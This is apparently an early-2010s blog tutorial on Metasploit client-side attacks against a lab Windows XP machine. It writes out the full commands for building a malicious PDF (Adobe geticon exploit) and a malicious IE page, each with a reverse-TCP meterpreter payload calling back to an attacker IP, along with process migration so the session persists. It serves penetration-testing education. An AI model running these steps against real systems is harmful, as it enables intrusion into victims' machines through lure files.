The following is based on my experiences and (limited) knowledge. I am not an expert in anything, nor will I likely ever be one. My hope is that this might help someone, somewhere, sometime. If nothing else, it might be a good start for discussion.
Preamble
This exercise is for educational use only, and is intended to be used in a lab environment, or as part of an authorized pentest. Please always ensure any scans or changes to systems are part of your pentest scope and comply with your rules of engagement.
The following series of posts will walk through a fairly contrived example of how Metasploit can be used to exploit a client behind a firewall and from there be used to dig further into the network, with a final goal of remote desktop access to a Windows server. The purpose is not to go into great detail, but instead show the power of Meterpreter, its extensions and scripts.
Requirements
As mentioned previously, I will be using Backtrack 4 for the testing, and a few vulnerable machines. The first one up is an XP client with a vulnerable version of IE and Adobe Acrobat Reader.
I installed Adobe Reader 8, from oldapps.com for the prurpose of this exercise.
Background
Metasploit has several interfaces, but I like the console, so that is what will be used for this exercise. Throughout the exercise, we will get deeper and more familiar into Metasploit, but there are several excellent resources available for more information like the Metasploit.com site, the Metasploit mailing list, Offensive Security’s Metasploit Unleashed (offensive-security.com), some great videos and examples from Mubix (room362.com), IronGeek (irongeek.com) and the pauldotcom crew (pauldotcom.com) and a new course from SANS (sans.org) called Metasploit Kung Fu just to name a few.
We will be setting up two different client side exploits in this part of the exercise. Both will use the meterpreter payload, which will be explained in more detail in the next instalment.
Process
Adobe:
Launch msfconsole
load sounds
use exploit/windows/fileformat/adobe_geticon
set FILENAME report.pdf
set OUTPUTPATH /tmp
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.111.155
set LPORT 443
set InitialAutoRunScript migrate –f
show options
exploit
Explanation: In Backtrack, I type msfconsle at a terminal to launch.
The first command enables sounds. This isn’t necessary for anything other than my own enjoyment. May thanks to digininja for initially coming up with the idea for this functionality, and to HD for adding it to the base Metasploit framework
The rest of the commands are setting up the exploit. We are using the adobe geticon exploit to create a pdf called report.pdf which will be saved in the /tmp folder. When the pdf is opened with a vulnerable version of adobe, it will connect back to the backtrack machine on port 443 (remember, the firewall only allows web ports).
The AutoRunScript will, on a successful exploit, launch a hidden notepad.exe process on the client, and migrate the meterpreter payload to it. This will ensure that we don’t lose our meterpreter session as soon as the user closes Adobe (which they will, because to them, it would appear that adobe just froze). Look for more on this in a future post.
I try to always do a show options to verify I didn’t make any typos before I start the exploit.
Before we send the file to our client, we have to setup a listener on our machine to receive the reverse meterpreter.
Still in the msfconsole
Explanation: We are setting up a meterpreter listener for when the client opens our pdf. Metasploit will now dutifully wait until our client launches the pdf. When Metasploit “speaks” we know our target has launched the pdf.
This time, we will use a vulnerability in Internet Explorer
instead of showing each command, I will just display the options. Each one is set with the command
set NAME #value#
msf exploit(ms10_018_ie_behaviors) > show options
Module options:
All we have to do is type in exploit in our msfconsole, and convince our user to connect to http://192.168.111.155/reports.
msf exploit(ms10_018_ie_behaviors) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.111.155:443
msf exploit(ms10_018_ie_behaviors) > sessions -i 1
Next Steps
Exploring the client’s network.